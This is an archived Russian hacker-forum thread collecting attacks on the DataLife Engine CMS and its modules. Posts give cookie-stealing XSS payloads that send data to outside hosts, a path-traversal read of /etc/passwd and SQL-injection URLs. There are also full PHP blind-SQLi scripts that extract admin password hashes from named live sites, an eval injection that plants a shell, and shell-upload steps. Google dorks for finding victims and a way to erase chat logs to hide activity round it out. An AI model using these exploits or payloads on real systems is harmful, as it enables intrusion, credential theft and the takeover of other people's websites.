PDA

Просмотр полной версии : [ Обзор уязвимостей DataLife Engine ]


Solide Snake
28.10.2007, 02:11
Обзор уязвимостей [DataLife Engine]

Сайт производителя: www.dle-news.ru (http://www.dle-news.com/)
Актуальная версия: 6.3 (http://rapidshare.com/files/63936151/DataLife_Engine_v.6.3_Nulled.rar)

DataLife Engine v.3.7

[Раскрытие установочного пути]

В parse.class.php выделено 12582912 байт на проверку сообщения.
Переполнение делается так: "<<><><><><><>>"

[ХСС]

Угнать кукисы можно при помощи вставки картинки.
-- этим можно воспользваться всегда, даже если нету таких кнопок при
добавлении новости, личном сообщении, добавления коментария.
Непосредственно сама ХСС:

http://anyimage.com/ok.gif" onmouseover='document.location=" class="fixed">http://your.sniffer.com/sniff/sniff.gif?id="+document.
cookie;'><!--

[Проблемы с SQL]

http://target.net/category/topic/ -- где topic -- это не существующая тема.
Результат: SELECT id FROM nws_category WHERE parentid=not detected ;


Версия 4.1 возможно более ранние SQL Injection.

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример:

http://[host]/index.php?subaction=userinfo&user=[code]


DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl) (http://www.milw0rm.com/exploits/1938)
DataLife Engine <= 4.1 Remote SQL Injection Exploit (php) (http://www.milw0rm.com/exploits/1939)
SQL injection for <=4.1 version exploit (http://www.x-sec.info/advisory40.txt)
RGdatalife - exploit (php version) (http://www.x-sec.info/RGdatalife.txt)

halkfild
13.01.2008, 01:25
в виду наличия множества ресурсов в сети под этим движком решил поискать хоть какие-то уязвимости в нем..

пошел на офф сайт http://dle - news.ru/. SoftNews Media Group любезно предоставляет демо доступ для просмотра движка в роботе http://demo.dle - news.ru/ тут и начнем.

Так, как это все на их сервере и это демо версия, то почти весь функционал они обрезали оставив только чтение =\. смотрим...

баг в функциях оптимизации базы

http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption

пакеты браузера

cmd> GET /admin.php?mod=dboption&action=dboption HTTP/1.0
cmd> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
cmd> Referer: http://demo.dle-news.ru/admin.php?mod=dboption
cmd> User-Agent: 8.50 iia Nokia 6630 (in Spanish) — Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6630/4.03.38; 6937) Opera 8.50 [es]
cmd> Host: demo.dle-news.ru
cmd> Cookie: PHPSESSID=2962374dc7d3a4f7035f4f5d290c02e2; dle_skin=deleted; dle_hash=deleted; lastusername=demo; dle_name=demo; dle_password=fe01ce2a7fbac8fafaed7c982a04e229
cmd>
hdr> HTTP/1.1 200 OK
hdr> Server: nginx/0.5.34
hdr> Date: Thu, 10 Jan 2008 22:05:26 GMT
hdr> Content-Type: text/html; charset=windows-1251
hdr> Connection: close
hdr> X-Powered-By: PHP/5.2.3
hdr> Expires: Tue, 11 Jun 1985 05:00:00 GMT
hdr> Cache-Control: no-store, no-cache, must-revalidate
hdr> Pragma: no-cache
hdr> Last-Modified: Thu, 10 Jan 2008 22:05:48 GMT
hdr> Cache-Control: post-check=0, pre-check=0
hdr> Content-Length: 1337
hdr> Content-Language: ru
RequestDone Error = 0
StatusCode = 200


расскрытие при повторном посте
и ошибка при не корректном посте данных /*пишет не корректное название таблицы*/


Warning: reset(): Passed variable is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 28 Warning: Variable passed to each() is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 32 MySQL Error!
------------------------

The Error returned was:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Error Number:
1064


так же мона юзать xss

method=post auction=http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption
ta%5B%5D=dle_email,"><script>alert()</script>&whattodo=optimize
или
ta%5B%5D=dle_files"><script>alert(/xss/)</script>&whattodo=repair

вообщем имеем пост ксс и расскрытие пути

з.ы. сначала незаметил и создал новую тему ^^

Solide Snake
13.01.2008, 01:31
DataLife engine...(версию уязвимую так и не выяснил... т.к. багу сам нашел, но точно знаю что до пятой... на 4.2 прокатывает)

Листилка (читалка) файлов там где не стоит мэйджик квотез:

http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00

Да и еще примечательно это тем, что полюбому можно прочитать пароль к БД т.к. в этой двиге обязательно присутствует файло с настройками пользователя БД и соответственно при хорошем раскладе узнать пароли админа и через админку шелл залить (в большинстве случаев получается) но для этого в конфигурации в админке надо зделать кой какие изменения... ну я думаю это каждый сможет...

(c) Scipio

r00tk1d
03.02.2008, 03:59
Раскрытие полного установочного пути (для авторизированых юзеров)
index.php?do=pm&doaction=newpm&user[]=

Результат
Warning: urldecode() expects parameter 1 to be string, array given in %путь_установки%/engine/init.php on line 49

l-l00K
02.03.2008, 18:07
blind sql-inj в неофициальном модуле к Dle files (файловый архив)
уязвимость после order by в параметре orderby
Пример запроса:
http://www.alldown.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle _users+where+user_group=1+limit+0,1),1,1))+between +0+and+0,url,(select%201%20from%20dle_downloads))+--+

Эксплоит:
<?php
set_time_limit(0);
/*-----------------------------------------------------*/
//Эксплойт для модуля Files(модуль файлового архива) к DLE
//Автор: H00K
/*-----------------------------------------------------*/

/*-----------------Настройки---------------------------*/
$host="symbiware.org";//указываем хост
$catid = "38";//Указываем id существующей категории
$userid = "0";//Указываем id администратора
/*-----------------------------------------------------*/

$good = "MySQL Fatal Error";
$bad = "Архив файлов";
$path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle _users+where+user_group=1+limit+{$userid},1),";
$end = ",(select%201%20from%20dle_downloads),url)+--+";
$index = 1;
$result = "";

function GetMiddle($min, $max)
{
return floor($min+((($max+1)-($min-1))/2));
}

function Check($min,$max)
{
if (($max-$min)<=2)
{
global $index;
global $result;
global $host;
global $path;
echo "Символ найден: ";
if (($max-$min)==1)
if (CheckSQL($host, $path, $index.",1))={$max}"))
$result .=chr($max); else $result .=chr($min);
if (($max-$min)==2)
{
if (CheckSQL($host, $path, $index.",1))={$max}"))
{
$result .=chr($max);
} else
{
if(CheckSQL($host, $path, $index.",1))={$max}-1"))
$result .=chr($max-1); else $result .=chr($min);
}
}
echo substr($result,strlen($result)-1)."<br>";
flush();
$index++;
return true;
} else return false;
}

function CheckSQL ($host, $path, $st)
{ global $end;
$line="";
$fo = fsockopen($host, 80, $errno, $errstr, 30);
if(!$fo){die ("no connect");}
else
{
$headers="GET ".$path.$st.$end." HTTP/1.1\r\n";
$headers.="Host: ".$host."\r\n";
$headers.="Connection: Close\r\n\r\n";
global $good;
global $bad;
fwrite($fo, $headers);
while (!feof($fo))
{
$line = fgets($fo, 512);
if (strpos($line,$good))
{
fclose($fo);
return true;
}
if (strpos($line,$bad))
{
fclose($fo);
return false;
}
}
fclose($fo);
}
return false;
}
if (CheckSQL($host, $path, $index.",1))+between+1+and+255"))
echo (" Идет подбор символов...<br>"); else die("Ошибка");

for ($i=0;$i<32;$i++)
{
$min = 31;
$max = 123;
$ok = true;
while ($ok == true)
{
$num = GetMiddle($min,$max);
if (!check($min,$max))
{
if (CheckSQL($host, $path, $index.",1))+between+1+and+{$num}"))
{
echo("Меньше $num <br>");
$max = $num;
} else
{
echo ("Больше $num <br>");
$min = $num;
}
flush();
} else $ok = false;
}
}
echo $result;
?>

© H00k

Qwazar
08.04.2008, 00:16
Нашёл XSS в модуле DLE Forum 2.1

http://site/dle-forum.php?status_report=<script>alert(/XSS/)</script>

Работает если админ забыл удалить файл dle-forum.php после установки. (Установщик даже не предупреждает о том, что хорошо бы это сделать :) )

З.Ы.
Гуглом ищутся по запросу:

intitle:"Работает на DLE Forum"

Qwazar
08.04.2008, 01:49
Ещё забавную багу нашёл в модуле DLE Forum 2.1
:)

Возможность отправки сообщений от имени произвольного пользователя (можно несуществующего):

Создайте страничку со следующим кодом:

<form method="POST" action="http://site/?do=forum&act=post&code=reply&code=01">
Forum ID: <input type="text" name="forum_id" value="2"><br/>
Topic ID: <input type="text" name="topic_id" value="1"><br/>
Post ID: <input type="text" name="post_id" value="3"><br/><!-- Не допёр нафига это передавать, но кажется должно быть уникальным -->
Text: <input type="textarea" name="post_text" value="This Is Sample Text..."><br/>
UserName: <input type="text" name="name" value="SuperAdmin"><br/><!-- Вписываем что хотим -->
UserMail: <input type="text" name="mail" value="Billy@mail.xx"><!-- Вписываем что хотим -->
<input type="submit">
</form>


Ну и по комментариям сориентируетесь. Если уже залогинены на форуме, не забудьте почистить куки, иначе значение имени пользователя возьмётся из них.

Qwazar
08.04.2008, 17:36
Blind SQL Injection в в модуле DLE Forum 2.1:

На самом деле там две инъекции, в 2х запросах выполняющихся подряд, т.е. одна из ошибок бкдет отображаться в любом случае.

Для выполнения, нужно залогиниться.

Для начала нужно добавить иньекцию в БД

Примеры:
http://site/?do=forum&act=subscription&code=add&tid=-1 UNION SELECT 1,BENCHMARK(100000,md5(current_time)),3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19 --
http://site/index.php?do=forum&act=subscription&code=add&tid=-1 OR tid=(SELECT 1 UNION SELECT 2) --

Затем, для её выполнения нужно обратиться по адресу:
http://site/index.php?do=forum&act=subscription

При написании неудачного запроса, его нужно удалить командой: (это важно!)

http://test2.ru/?do=forum&act=subscription&code=del&tid=[SQL]

Символ кавычки мне вставить в запрос не удалось, но можно обойтись и без него, если воспользоваться методами из: http://forum.antichat.ru/thread43966.html

З.Ы.
Сорри, что не добил скуль до конца, времени не хватает, но это возможно.

Qwazar
08.04.2008, 21:38
SQL Injection в в модуле DLE mChat v. 2.0:

Нашёл в админке, и после ORDER BY, наверное бесполезная, но:

http://site/admin.php?mod=mchat&start_from=SQL

И вот ещё, ругнётся на следующий запрос (первый символ должен быть цифрой):

http://site/admin.php?mod=mchat&mchat_per_page=1SQL

Зачем может понадобиться, не знаю, ну разве только чтобы выяснить префикс к таблицам.

Qwazar
08.04.2008, 22:07
Раскрытие пути в модуле DLE mChat v. 2.0:

http://site/admin.php?mod=mchat&action=mess_del
http://site/admin.php?mod=mchat&action=do_mess_del

Тоже админка :(

Qwazar
08.04.2008, 23:17
Активная, но очень неудобная XSS в модуле DLE mChat v. 2.0:

При отправке сообщения, вида:

<a href="http://www.ya.ru">А исправь ка</a>

В админке теги отфильтрованы не будут, и вместо стандартной администраторской функции редактирования сообщения, админ перейдёт по ссылке. Если очень постараться, можно создать фейковую страницу с просьбой ввести пароль для редактирования, и хитрым образом заставить админа попробовать отредактировать сообщение. (Из области научной фантастики)

З.Ы.
<script>, document.cookie - фильтрует, "javascript:" превращает в javascript:<b></b> и иногда в неудачных местах ставит <br />. В общем окне просмотра чата, теги видны прекрасно.

Qwazar
12.04.2008, 02:05
Раскрытие пути в DataLife Engine v.6.7:


http://site/engine/inc/init.php
http://site/engine/inc/preview.php
http://site/engine/data/dbconfig.php (работает не везде)
http://site/upgrade/error.php
http://site/upgrade/finish.php
http://site/upgrade/template.php

Раскрытие пути в модуле DLE Forum 2.1:


http://site/dle-forum.php

Раскрытие пути в модуле DLE mChat v. 2.0:

http://site/engine/ajax/mchat.refresh.php

Одна особенность! Не работает в IE, т.к. IE вместо отображения пытается принять файл, юзайте файрфокс или тулзы отображающие результат в текстовом виде.

Нашёл после того, как написал тулзу для поиска раскрытий пути и простейших SQL ошибок :)

З.Ы.
Если кому надо - обращайтесь (написал на Java).

Qwazar
12.04.2008, 04:41
Вот ещё нашёл в модуле DLE Forum 2.1:



Уничтожить некоторые таблицы форума и узнать префикс к таблицам в БД, можно так:

Удалил т.к. то, что побочно уничтожается БД, заметил после публикации уязвимости, думаю неэтично такое выкладывать в паблик..

Уязвимость присутствует, если забыли удалить файл dle-forum.php. В дикой природе встречается ~ в 20-30% случаев.

Безопасно посмотреть префикс к таблицам БД можно так:
http://site/dle-forum.php?action=upgrade

Qwazar
12.04.2008, 05:39
То же самое и в модуле DLE mChat v. 2.0, есть возможность удалить все записи в чате (в том числе логи чата), если забыли удалить папку /mcinstall/ после установки.

В принципе, для чата это не так деструктивно, а вот уничтожить следы деятельности поможет, так что выкладываю:

http://site/mcinstall/?action=doinstall

gibson
21.04.2008, 00:34
1. Бага заключается в следующем.
Смотрим сорс страницы пользователя

<script language="javascript" type="text/javascript">
<!--
var dle_root = '/';
var dle_skin = 'wf_0_1';
var dle_wysiwyg = 'no';
var menu_short = 'Быстрое редактирование';
var menu_full = 'Полное редактирование';
var menu_profile = 'Просмотр профиля';
var menu_fcomments = 'Найти все комментарии';
var menu_send = 'Отправить сообщение';
var menu_uedit = 'Админцентр';
var dle_req_field = 'Заполните все необходимые поля';
var dle_del_agree = 'Вы действительно хотите удалить этот комментарий?';
//-->
</script>

Теперь смотрим сорсы страницы админа

<script language="javascript" type="text/javascript">
<!--
var dle_root = '/cms/dle/';
var dle_admin = 'admin.php';
var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860';
var dle_skin = '123';
var dle_wysiwyg = 'no';
var menu_short = 'Быстрое редактирование';
var menu_full = 'Полное редактирование';
var menu_profile = 'Просмотр профиля';
var menu_fnews = 'Найти все публикации';
var menu_fcomments = 'Найти все комментарии';
var menu_send = 'Отправить сообщение';
var menu_uedit = 'Админцентр';
var dle_req_field = 'Заполните все необходимые поля';
var dle_del_agree = 'Вы действительно хотите удалить? Данное действие невозможно будет отменить';
var dle_del_news = 'Удалить новость';
var allow_dle_delete_news = true;
//-->
</script>

Собственно это нам и нужно

var dle_admin = 'admin.php'; // скрипт адмиского входа.
var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860'; хеш пароля md5

Логин админа можно узнать из новостей публикуемых на сайте, но могут публиковать и привелигерованные пользователи, по другому хз.
Накатали скрипт, респект zarin за помощь, который подгружает страницу с серва и сохраняет ее на хосте. Нужно только одно условие чтобы оно сработало, это чтобы админ был залогинен на сайте.


<?php
if(isset($_POST["frame"])) {
$fh = fopen("gibson.txt","w+");
fwrite($fh,$_POST["frame"]);
fclose($fh);

}
else{
?>
<html>
<head>
<script>
function sendFrame(FrameID,FormID,TextareaID)
{
content = document.getElementById(FrameID).contentDocument.t ext;
document.getElementById(TextareaID).value = content;
document.getElementById(FormID).submit();
}
</script>
</head>

<body>
<div style="display:block;">
<form action="gibson.php" method="post" id="form0">
<textarea name="frame" id="text0" style="display:none;" ></textarea>
<input type="submit" name="ok" value="ok" style="display:none;" >
</form>
</div>

<IFRAME src="http://xxx.xx/index.php" onload="sendFrame('frame0','form0','text0')" id="frame0" WIDTH="0" HEIGHT="0" >
</IFRAME>

</body>
</html>
<?}?>

ps Скрипт работает в опере с локальными адресами! В фф сек эрроры)

2. Ну и так для развлечения ксс

http://xxx.xx/engine/modules/imagepreview.php?image=javascript:alert(document.c ookie);

Нужно только чтобы рисунки были включены.

Isis
05.05.2008, 08:11
DLE 6.3
Раскрытие пути:
index.php?catalog[]=

maxster
05.05.2008, 19:50
DLE Online Mod Exploit Blind SQL Injection

Нашел багу я, а эксплойт написал Евгений Минаев (http://forum.antichat.ru/member.php?u=44793)

Сохраняем эксплойт и закидываем его к себе на локалхост, от туда запускаем.
Выдерает хеши любого юзера, шифрация md5(md5($pass))

<?php
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
* DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster
* Need magic_quotes_gpc off and mysql version higher than 4.0 (on server)
*
* Useful: email, password, name
*
* PHP versions 4 and 5
*
* LICENSE: This source file is subject to version 3.0 of the PHP license
* that is available through the world-wide-web at the following URI:
* http://www.php.net/license/3_0.txt. If you did not receive a copy of
* the PHP License and are unable to obtain it through the web, please
* send a note to license@php.net so we can mail you a copy immediately.
*
* @category Exploit
* @package None
* @author Eugene Minaev <underwater@itdefence.ru>
* @copyright 2008 ITDefence.ru
* @license http://www.php.net/license/3_0.txt PHP License 3.0
* @version CVS: $Id:$
* @link http://underwater.itdefence.ru
* @since File available since Release 0x00
*/
@set_time_limit(0);
@ini_set('output_buffer', 0);

?>

<html>

<head>
<title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title>
<style type="text/css">
body{
font-family: Tahoma;
font-size: 12px;
color: #e1e1e1;
background-color: #222;
}
</style>
</head>

<body>
<center>
<form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>">
dle path:<input type="text" name="server" value="http://localhost/dle/" />
<br/><br/>
admin id: <input type="text" name="userid" value="1" />
<br/><br/>
<input type="submit" />
</form>
</center>
</body>

</html>

<?php
if (!empty($_POST))
{
$_ = create_function('$error', 'die("$error");');
$userid = isset($_POST['userid']) ? (int) $_POST['userid'] : null;
$server = isset($_POST['server']) ? $_POST['server'] : null;
$alphabet = array('a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0');
$responce = null;
$password = null;
$curpos = 1;
$alppos = 0;
$flag = false;


$pathinfo = parse_url($server);
if (false === is_array($pathinfo) or empty($pathinfo['host'])) {
$_('invalid url');
} else {
$fsocket = fsockopen($pathinfo['host'], 80) or
$_('hostname is dead');
$request = "GET {$pathinfo['path']} HTTP/1.1\r\n"
. "Host: {$pathinfo['host']}\r\n"
. "Cookie: dle_onl_session='underWHAT?!\r\n\r\n";
fwrite($fsocket, $request) or
$_ ('failed to write data to socket');
while ($flag === false){
$responce .= fread($fsocket, 128);
$flag = strpos($responce, '</html>') ? true: false;
}
$flag = false;
if (strpos($responce, 'MySQL Error') > 0){
while (strlen($password) < 32)
{
$fsocket = fsockopen($pathinfo['host'], 80) or
$_('hostname is dead');
$responce = null;
$cookie = "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(select 1 union select 3))/*";
$request = "GET {$pathinfo['path']} HTTP/1.1\r\n"
. "Host: {$pathinfo['host']}\r\n"
. "Connection: close\r\n"
. "Cookie: dle_onl_session=$cookie\r\n\r\n";
fwrite($fsocket, $request) or
$_ ('failed to write data to socket');
$responce = fread($fsocket, 8000);
if (!strpos($responce, 'returns more than 1 row')){
$password .= $alphabet[$alppos];
$curpos += 1;
$alppos = 0;
} else {
$alppos += 1;
}
$flag = false;
$responce = null;
fclose($fsocket);
}
} else {
die ('<center><h1>not vulnerable</h1></center>');
}
echo "<center><h1>$password</h1></center>";
}
}


?>


Google dork: "20ка посетивших:"

Elekt
21.05.2008, 03:08
Datalife Engine 6.7 XSRF
_http://securityvulns.ru/Tdocument552.html

Exploit:

http://site.com/datalife-path/engine/modules/imagepreview.php?image=[XSRF]

Подробно рассмотрено: _https://forum.antichat.ru/thread67881.html

desTiny
11.06.2008, 23:31
Заливка шелла через админку Datalife Engine
Версию точно определить не смог, но в сорцах написано про 2008 год.

Итак, заходим в админцентр.
Далее нажимаем "Другие разделы"
Выбираем где-то в конце "Архив файлов"
Идём на "Настройка Архива Файлов"
Допустимые форматы файлов: дописываем php.
Сохраняемся, идём в "Добавить файл".
Заливаем шелл :)
Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке.

Нашёл сегодня сам, так как очень приспичело, а старые баги не подходили. Если уже где-то было, извините..
Потом, может, сниму видео...

Ar3s
23.06.2008, 11:35
']КАК ЗАЛИТЬ !!!
+ С меня в репу )

Попробуй через редактирование шаблона сайта.
Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
Вообщем как-то так. Экспериментируйте.

#Wolf#
24.06.2008, 02:51
Попробуй через редактирование шаблона сайта.
Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
Вообщем как-то так. Экспериментируйте.
чтобы php код исполнялся в шаблонах (tpl)
надо:
В файле index.php, заменить
echo $tpl->result['main'];

на
function incphp($str)
{
$a = explode('<?', $str);
echo $a[0];
for ($i=1; $i<sizeof($a); $i++)
{
$b = explode('?>', $a[$i]);
eval($b[0]);
if (sizeof($b)>1) echo $b[1];
}
}
incphp($tpl->result['main']);

Теперь Вы можете в любом тексте между тегами <? ... ?> выполнять PHP код.
(с) dle-news.ru
так что облом
---------------------------------------------
загружать шелл через добавление новости тоже не получается.
1) не отображается полный путь файлы\а(шелла) т.к при загрузке скрипт сам дописывает цыфры перед файлом.
2) в папке uploads/files (куда складываются файлы) лежит .htaccess в котором:

<FilesMatch ".*">
Order allow,deny
Deny from all
</FilesMatch>

<FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$">
Order deny,allow
Allow from all
</FilesMatch>

DLE 7.0

sabe
01.08.2008, 22:33
Datalife Engine XSRF пытались залатать...... :rolleyes:
http://dle-news.ru/bags/v70/301-nedostatochnaja-filtracija-vkhodjashhikh-dannykh.html
обойти:
вместо javascript пишем Javascript
вместо document.cookie пишем Document.cookie ;)

Lawrence
03.08.2008, 19:13
Весьма интересные вещи творятся когда пользователь повторно заходит в систему под своим аккаунтом (имеется ввиду проходит аутентификацию по кукисам). Запрос браузера:
GET http://www.site.net/ HTTP/1.0
Cookie: dle_twsf_t=a%3A1%3A%7Bi%3A19%3Bi%3A1205043514%3B%7 D; dle_onl_session=-062044f577ca1d58adabaf005e0bf5bf; dle_name=Kit; dle_password=1ad092fcfc34d69ebef9f3c745aea027; dle_newpm=0; PHPSESSID=062044f577ca1d58adabaf005e0bf5bf
Host: www.site.net

Параметр dle_onl_session уязвим, однако при попытки сформировать "злой" запрос мы натыкаемся на повторное использование этого же параметра в другом SQL запросе, результат: очередной MySQL error. Может у кого-то получится пойти дальше?

P.S. Т.к. MySQL error показывает неудачные запросы, есть возможность XSS атаки, однако чужие кукисы "угнать" не получится.

sabe
05.08.2008, 03:55
Недостаточная фильтрация входящих данных

/engine/modules/functions.php

Подробно рассмотрено: http://4dle.ru/bugs/1147156035-nedostatochnaja-filtracija.html

Qwazar
18.08.2008, 19:57
Нашёл XSS в Datalife Engine v 6.7 (в остальных версиях не проверял, по инету потыкался, везде где доступна админка, вроде работает):

В файле: http://site/admin.phpCookie: dle_lastusername='><script>alert(/XSS/)</script>

M4g
02.10.2008, 00:30
Dle forum 2.1 (возможно, последующие версии, не проверял)
Эксплойт, получение логина, хеша, мыла админа:
<form action="http://evil.com/?do=forum&act=category" method="post">
<input name="cid" value="-99' union select 1,2,3,4,5,6,7,8,9,concat(email,':',password,':',na me),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,2 6 from dle_users where user_group=1 limit 1/*"/>
<input type="submit" value="ok"/>
</form>
Действие эксплойта основано на том, что встроенная функция dle check_xss() проверяет на нехорошие символы ' " < > лишь строку $QUERY_STRING, а пост, куки итд запросы остаются непроверенными. Подозреваю, что основной движок страдает тем же самым.
Dle <=6.7 (возможно, последующие версии, не проверял)
Эксплойт, дающий шелл (использовать залогиненным админом) :

<form action="http://evil.com/admin.php?mod=options&action=syscon" method="post">
<input name="save_con[test');@eval(trim(stripslashes($lala)));$config=ar ray('test]" value="test"/>
<input type=hidden name=action value=dosavesyscon>
<input type="submit" value="ok"/>
</form>
далее
http://evil.com/adm.php?mod=options&action=syscon&lala=phpcode();
Действие эксплойта основано на том, что при записи конфига в соотв. пхп-файл, проверяется на нехорошие символы только значение параметра, а само имя параметра-нет+если в массиве конфига послать новый параметр, которого не было, то он успешно запишется в конфиг
ЗЫ хеш зашифрован md5(md5()). Такого вида хеши успешно расшифровываются большинством онлайн-сервисов
Я кончил.

sabe
25.11.2008, 07:26
Недостаточная фильтрация входящих данных

/engine/classes/parse.class.php

Подробно рассмотрено: http://dle-news.ru/bags/v73/439-nedostatochnaja-filtracija-vkhodjashhikh-dannykh.html

l-l00K
30.11.2008, 01:05
Blind slq-inj в модуле галерея для dle, в параметре news_sort
Уязв.код (news_sort) :
show_cat.php
if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != "") $galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];
if ( isset($_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != "") $galConfig['news_msort'] = $gal_cat[$category_id]['news_msort'];

if ($galConfig['user_cats_limit']) $sear = "(" . PREFIX . "_gal_cat.cat_status = '0' OR " . PREFIX . "_gal_cat.cat_status = '2') AND " . PREFIX . "_gal_pic.approve='1'"; else $sear = "" . PREFIX . "_gal_cat.cat_status = '0' AND " . PREFIX . "_gal_pic.approve='1'";

$result = $db->query("SELECT " . PREFIX . "_gal_pic.*, " . PREFIX . "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " . PREFIX . "_gal_pic LEFT JOIN " . PREFIX . "_gal_cat ON " . PREFIX . "_gal_pic.pic_cat_id=" . PREFIX . "_gal_cat.cat_id WHERE " . PREFIX . "_gal_cat.cat_alt_name='$category' AND $sear AND " . PREFIX . "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart, $lim");
Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции

Пример запроса:
POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1
Host: www.simfilife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC

Exploit:
<?php
set_time_limit(0);
/*-----------------------------------------------------*/
//Эксплойт для неофициального модуля Gallery для DLE
//Автор: l-l00K
//Black Toad Team
/*-----------------------------------------------------*/

/*-----------------Настройки---------------------------*/
$good = "MySQL Fatal Error";
$bad = "robots";
$host= "simfilife.net";//указываем сайт
$path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию
$body = "news_sort=if(ord(substring((select password from dle_users where user_id=1),";
$index = 1;
$result = "";
$end = ",(select 1 from dle_usergroups),0)&news_msort=DESC";

function GetMiddle($min, $max)
{
return floor($min+((($max+1)-($min-1))/2));
}

function post_sql($host,$path,$post_body)
{
global $end;
$post_body .= $end;
$post_query = "POST ".$path." HTTP/1.1\r\n";
$post_query .= "Host: ".$host."\r\n";
$post_query .= "Connection: close\r\n";
$post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
$post_query .= "Content-length: " . strlen($post_body) . "\r\n\r\n";
$post_query .= $post_body;

$sock = fsockopen($host, 80, $errno, $errstr, 30);

if (!$sock) die('Could not connect to host! ');

fputs($sock, $post_query);
global $good;
global $bad;
$answer = '';
while (!feof($sock)) {
$answer .= fgets($sock, 1024);
if (strpos($answer,$good))
{
fclose($sock);
return true;
}
if (strpos($answer,$bad))
{
fclose($sock);
return false;
}
}
fclose($sock);
return false;
}

function Check($min,$max)
{
if (($max-$min)<=2)
{
global $index;
global $result;
global $host;
global $path;
global $body;
echo "Символ найден: ";
if (($max-$min)==1)
if (post_sql($host, $path, $body.$index.",1))={$max}"))
$result .=chr($max); else $result .=chr($min);
if (($max-$min)==2)
{
if (post_sql($host, $path, $body.$index.",1))>{$max}-1"))
{
$result .=chr($max);
} else
{
if(post_sql($host, $path, $body.$index.",1))={$max}-1"))
$result .=chr($max-1); else $result .=chr($min);
}
}
echo substr($result,strlen($result)-1)."<br>";
flush();
$index++;
return true;
} else return false;
}

$bool = true;
while ($bool==true)
{
if (post_sql($host, $path, $body.$index.",1))>0"))
{
echo ("Символ есть, идет подбор...<br>");
flush();
$ok = true;
}
else
{
echo ("Символы кончились <br>");
$ok = false;
$bool = false;
echo $result;
}
$min = 31;
$max = 123;
while ($ok == true)
{
$num = GetMiddle($min,$max);
if (!check($min,$max))
{
if (post_sql($host, $path, $body.$index.",1))<{$num}"))
{
echo("Меньше $num <br>");
$max = $num;
} else
{
echo ("Больше $num <br>");
$min = $num;
}
flush();
} else $ok = false;
}
}

?>

as3kpwnz
15.12.2008, 23:23
http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
(c) Scipio

Все еще актуальный баг ,но уже не преставляет никакой ценности ,ибо отображается содержимое скрипта vote.tpl

Достаточно добавить несколько строчек ,и вместо странички с этими ненужными данными будет красоваться "Hacking attemp"


if ($_REQUEST['vote_skin']) {
$qw=$_REQUEST['vote_skin'];
$qqq=preg_match("/^[a-zA-Z0-9]+$/",$qw);
if($qqq){
if (is_dir(ROOT_DIR.'/templates/'.$qw))
{
$config['skin'] = $qw;
}
}
else {
die("Hacking attempt!");
}

Xe-Xe
19.12.2008, 18:24
свеженькая XSS для DLE <= 7.2 от Hadi Kiamarsi

http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E

готовый к работе

http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Evar Xcook=document.cookie;document.images[0].src='http://evil-site.com%3F'+Xcook%3C/ScRiPt%3E

#Wolf#
16.01.2009, 08:15
niva622

1. Версию движка, можно узнать только в админке.


http://dle-news.ru/engine/ajax/updates.php
тут палить нулленый движки :D

mailbrush
02.02.2009, 01:36
Расскрыите путей:
http://site.ru/index.php?do=register&doaction=validating&step=2&id[]=1
